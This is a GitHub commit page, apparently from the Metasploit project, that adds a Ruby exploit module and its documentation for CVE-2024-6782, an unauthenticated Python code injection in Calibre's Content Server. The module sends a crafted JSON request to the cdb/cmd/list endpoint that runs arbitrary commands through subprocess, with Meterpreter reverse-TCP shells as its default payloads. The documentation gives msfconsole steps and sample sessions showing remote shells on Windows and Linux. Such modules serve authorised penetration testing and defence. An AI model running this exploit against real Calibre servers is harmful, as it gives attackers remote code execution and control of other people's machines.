Skip to content

Commit

Permalink
Land #19357, Calibre Python Code Injection (CVE-2024-6782)
Browse files Browse the repository at this point in the history
Merge branch 'land-19357' into upstream-master
  • Loading branch information
bwatters-r7 committed Aug 7, 2024
2 parents f3214d6 + 1390251 commit baca872
Show file tree
Hide file tree
Showing 2 changed files with 253 additions and 0 deletions.
108 changes: 108 additions & 0 deletions documentation/modules/exploit/multi/misc/calibre_exec.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
## Vulnerable Application

**Vulnerability Description**

This module exploits a vulnerability in Calibre <= v6.9.0 - v7.15.0 (CVE-2024-6782).

An unauthenticated remote attacker can exploit this vulnerability to gain arbitrary code execution in the context of which Calibre is being
executed.

All versions between v6.9.0 - v7.15.0 are affected. STAR Labs published [an advisory](https://starlabs.sg/advisories/24/24-6782/) that
includes the root cause analysis and a proof-of-concept.

**Vulnerable Application Installation**

Calibre can be downloaded from [here](https://download.calibre-ebook.com/).

**Successfully tested on**

Windows:
- Calibre v7.15 on Windows 10 22H2
- Calibre v7.14 on Windows 10 22H2
- Calibre v7.0 on Windows 10 22H2
- Calibre v6.29 on Windows 10 22H2
- Calibre v6.9 on Windows 10 22H2

Linux:
- Calibre v7.15 on Ubuntu 24.04 LTS
- Calibre v7.14 on Ubuntu 24.04 LTS
- Calibre v7.0 on Ubuntu 24.04 LTS
- Calibre v6.29 on Ubuntu 24.04 LTS
- Calibre v6.9 on Ubuntu 24.04 LTS

## Verification Steps

1. Install Calibre
2. Start Calibre and click Connect/share > Start Content server
3. Start `msfconsole` and run the following commands:

```
msf6 > use exploit/multi/misc/calibre_exec
[*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/misc/calibre_exec) > set RHOSTS <IP>
msf6 exploit(multi/misc/calibre_exec) > set LHOST <IP>
msf6 exploit(multi/misc/calibre_exec) > exploit
```

You should get a meterpreter session running in the same context as the Calibre application.

## Scenarios

**Windows**

Running the exploit against Calibre v7.14 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the
following:

```
msf6 exploit(multi/misc/calibre_exec) > exploit
[*] Started reverse TCP handler on 192.168.137.190:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending payload...
[*] Sending stage (201798 bytes) to 192.168.137.194
[*] Meterpreter session 1 opened (192.168.137.190:4444 -> 192.168.137.194:50346) at 2024-08-01 23:28:16 -0400
[*] Exploit finished, check thy shell.
meterpreter > sysinfo
Computer : DESKTOP-foo
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > shell
Process 6084 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.4529]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Calibre2>whoami
whoami
desktop-foo\admin
```

**Linux**

Running the exploit against Calibre v7.14 on Ubuntu 24.04 LTS, using cmd/unix/python/meterpreter/reverse_tcp as a payload, should result in
an output similar to the following:

```
msf6 exploit(multi/misc/calibre_exec) > exploit
[ *] Started reverse TCP handler on 192.168.137.190:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending payload...
[*] Sending stage (24772 bytes) to 192.168.137.195
[*] Meterpreter session 2 opened (192.168.137.190:4444 -> 192.168.137.195:52376) at 2024-08-01 23:40:16 -0400
meterpreter > sysinfo
Computer : asdfvm
OS : Linux 6.8.0-39-generic #39-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 21:49:14 UTC 2024
Architecture : x64
System Language : en_US
Meterpreter : python/linux
```
145 changes: 145 additions & 0 deletions modules/exploits/multi/misc/calibre_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
'Description' => %q{
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
},
'License' => MSF_LICENSE,
'Author' => [
'Amos Ng', # Discovery & PoC
'Michael Heinzl', # MSF exploit
],
'References' => [
[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
[ 'CVE', '2024-6782']
],
'DisclosureDate' => '2024-07-31',
'Platform' => ['win', 'linux', 'unix'],
'Arch' => [ ARCH_CMD ],

'Payload' => {
'BadChars' => '\\'
},

'Targets' => [
[
'Windows_Fetch',
{
'Arch' => [ ARCH_CMD ],
'Platform' => 'win',
'DefaultOptions' => {
'FETCH_COMMAND' => 'CURL',
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
},
'Type' => :win_fetch
}
],
[
'Linux Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
}
],

],
'DefaultTarget' => 0,

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
Opt::RPORT(8080)
]
)
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
end

if res && res.code == 200
data = res.body.to_s
pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/

version = data.match(pattern)

if version[1].nil?
return CheckCode::Unknown
else
vprint_status('Version retrieved: ' + version[1].to_s)
end

if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
return CheckCode::Appears
else
return CheckCode::Safe
end
else
return CheckCode::Unknown
end
end

def exploit
execute_command(payload.encoded)
end

def execute_command(cmd)
print_status('Sending payload...')
exec_calibre(cmd)
print_status('Exploit finished, check thy shell.')
end

def exec_calibre(cmd)
payload = '['\
'["template"], '\
'"", '\
'"", '\
'"", '\
'1,'\
'"python:def evaluate(a, b):\\n '\
'import subprocess\\n '\
'try:\\n '\
"return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
'except Exception:\\n '\
"return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
']'

res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'data' => payload,
'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
})

if res && res.code == 200
print_good('Command successfully executed, check your shell.')
elsif res && res.code == 400
fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
end
end

end

0 comments on commit baca872

Please sign in to comment.